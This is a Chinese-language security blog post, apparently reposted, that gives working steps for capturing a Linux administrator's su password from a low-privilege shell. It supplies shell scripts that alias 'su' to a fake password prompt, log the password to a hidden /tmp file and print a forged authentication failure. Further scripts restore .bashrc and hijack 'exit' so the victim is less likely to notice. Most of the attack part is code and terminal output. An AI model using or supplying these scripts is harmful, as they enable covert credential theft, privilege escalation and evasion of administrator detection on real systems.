Linux别名利用之低权限用户抓取切账户时密码

admin 2024年10月2日12:22:16评论15 views字数 3486阅读11分37秒阅读模式

前言

近几个月事儿较多,文章又拖更三个月了。近期在刷一些文,有一处讲到了 Linux 低权限用户利用别名命令来抓取切账户时的密码,之前也有过了解与操作,其原理并不难,遂此次利用假期再次进行了实操并总结此文。话不多说,下面直接开始!

实现思路

我们通过某些 RCE 漏洞获取到一个正常的低权限 Linux Shell ,并使用该 Shell 浏览了用户的操作历史命令后,发现历史命令里有多次执行 su - root 命令以切换超级用户操作,但是在一通翻找后却未发现密码。

于是借助 Linux 的别名机制,替换用户的 su 命令为我的“恶意脚本”负责伪造一次认证,并在记录密码后进行回显密码错误,再对其进行痕迹清理,这样就能不知不觉中获取用户在切换如超级用户时的密码。下面进行步骤演示。

具体步骤

1、 为了伪造一次认证,我们先观察一下普通用户在执行 su - root 命令后输错密码的一次正常的回显,如下:

[yang@localhost ~]$ su - root
Password: 
su: Authentication failure
[yang@localhost ~]$

那么我们在用户家目录下创建一个“恶意 Shell 脚本”,其 Shell 脚本内容可以这么写:

#!/bin/bash
echo -e "Password: c"
read -s pass
echo ${pass} >> /tmp/.pass.log
echo ""
echo "su: Authentication failure"

对比一下命令的执行效果,可以发现其提示几乎没什么区别:

Linux别名利用之低权限用户抓取切账户时密码

2、 接下来备份一下该用户的 .bashrc 文件,并修改该文件,添加一条 alias 别名:

# 备份 .bashrc 文件
[yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc

# 编辑 .bashrc 文件并添加一条 alias 别名
[yang@localhost ~]$ vim ~/.bashrc
……
alias su="~/run_pass.sh"

测试一下,成功捕获密码:

[yang@localhost ~]$ vim ~/.bashrc
[yang@localhost ~]$ . ~/.bashrc
[yang@localhost ~]$ su - root
Password: 
su: Authentication failure
[yang@localhost ~]$ 
[yang@localhost ~]$ cat /tmp/.pass.log 
test_pass
[yang@localhost ~]$

3、 但是这样子修改也随之而来一个问题,即认证始终无法成功,无法成功认证则会影响到管理员的正常操作,进而引起警觉,所以我们需要修改一下脚本,再抓取到一次密码后,恢复为正常的 su 所切换的用户,于是脚本进一步修改为如下:

#!/bin/bash
echo -e "Password: c"
read -s pass
echo ${pass} >> /tmp/.pass.log
echo ""
echo "su: Authentication failure"
# 还原原始的 .bashrc 文件并启动新终端,此时su命令被还原
cp -p /tmp/.bashrc ~/.bashrc
rm -f /tmp/.bashrc
bash

下面再进行测试一下:

Linux别名利用之低权限用户抓取切账户时密码

可见此时 su 命令已被还原,密码也成功记录下来:

[yang@localhost ~]$ vim run_pass.sh 
[yang@localhost ~]$ su - root
Password: 
su: Authentication failure
[yang@localhost ~]$ su - root
Password: 
Last login: Tue Oct  1 20:48:03 CST 2024 from 192.168.1.99 on pts/1
Last failed login: Tue Oct  1 20:49:37 CST 2024 on pts/1
There was 1 failed login attempt since the last successful login.
[root@localhost ~]# cat /tmp/.pass.log 
test_passwd
[root@localhost ~]#

4、 但是,此时又引来一个问题,如果用户习惯直接点关闭窗口的'X'倒还好说,若习惯输入 exit 命令退出终端,则需要退两次才能退出,如下:

Last login: Tue Oct  1 20:49:47 CST 2024 on pts/1
# 下面第一个 exit 命令退出 root 用户 Shell 环境(正常)
[root@localhost ~]# exit
logout
# 下面第二个 exit 命令退出上述第一个执行命令时生成的 Shell 环境(非正常,易引起警觉)
[yang@localhost ~]$ exit
exit
# 下面第三个 exit 命令退出当前用户 Shell 环境(正常)
[yang@localhost ~]$exit
logout

5、 于是,对此的解决方法可以进行备份两个 ~/.bashrc 文件,并使用 alias 别名再重写一个 exit 命令,用于找到“恶意脚本”的 bash 并将其进程杀掉,实现一次 exit 命令即可退出终端,演示如下:

备份两个 .bashrc 文件:

[yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc
[yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc_tmp

修改 /tmp/.bashrc_tmp 文件内容,添加一条 alias 别名如下:

[yang@localhost ~]$ vim /tmp/.bashrc_tmp 
[yang@localhost ~]$ cat /tmp/.bashrc_tmp 
……
alias exit="~/run_pass2.sh"
[yang@localhost ~]$

再对 run_pass.sh 脚本进行修改,如下:

[yang@localhost ~]$ vim ~/run_pass.sh
[yang@localhost ~]$ cat ~/run_pass.sh
#!/bin/bash
echo -e "Password: c"
read -s pass
echo ${pass} >> /tmp/.pass.log
echo ""
echo "su: Authentication failure"
# 还原原始的 .bashrc 文件并启动新终端,此时su命令被还原
cp -p /tmp/.bashrc_tmp ~/.bashrc
rm -f /tmp/.bashrc_tmp
bash

[yang@localhost ~]$

再对 run_pass2.sh 脚本进行修改,如下:

#!/bin/bash
# 找到 su 仍是恶意脚本的 bash 并杀掉进程,实现一次 exit 命令即退出
ps_result=$(ps -ef | grep -v grep | grep "run_pass.sh")
pid=$(echo ${ps_result} | awk '{print $2}')
cp -p /tmp/.bashrc ~/.bashrc
rm -f /tmp/.bashrc
kill -9 ${pid}

当然,操作到此处不要忘了当前用户家目录下的 .bashrc 文件添加一条 aliassu 别名(已添加忽略):

[yang@localhost ~]$ vim ~/.bashrc
……
alias su="~/run_pass.sh"

至此,管理员只需要输入一次 exit 命令即可退出终端,但是管理员直接'X'掉了终端,那么原始 .bashrc 文件就没有恢复,则会影响接下来的所有终端,所以分析管理员的习惯格外重要。

总结

此方式以 alias 别名命令实操利用低权限用户获取 Linux 系统内高权限或其他用户密码,上述两种方式不论用哪一种可能都会引起管理员的“警觉”,毕竟或许一个低权限的系统用户存在多人管理员使用,且各有不同的终端使用方式,此时该方法则存在一定的局限性。

此方法也仅供参考学习使用,具体使用还需根据具体情况分析。

因文章可能二次修改,点击下方 阅读原文 即可直达个人博客阅读原文。

原文始发于微信公众号(小杨学安全):Linux别名利用之低权限用户抓取切账户时密码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月2日12:22:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux别名利用之低权限用户抓取切账户时密码https://cn-sec.com/archives/3227911.html

发表评论

匿名网友 填写信息